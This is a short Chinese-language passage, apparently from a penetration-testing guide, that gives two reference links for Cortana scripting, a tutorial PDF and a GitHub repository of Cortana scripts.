• 有关 Cortana 脚本的更多信息，请参阅：www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf

• 有关 Cortana 脚本资源，请参阅：github.com/rsmudge/cortana-scripts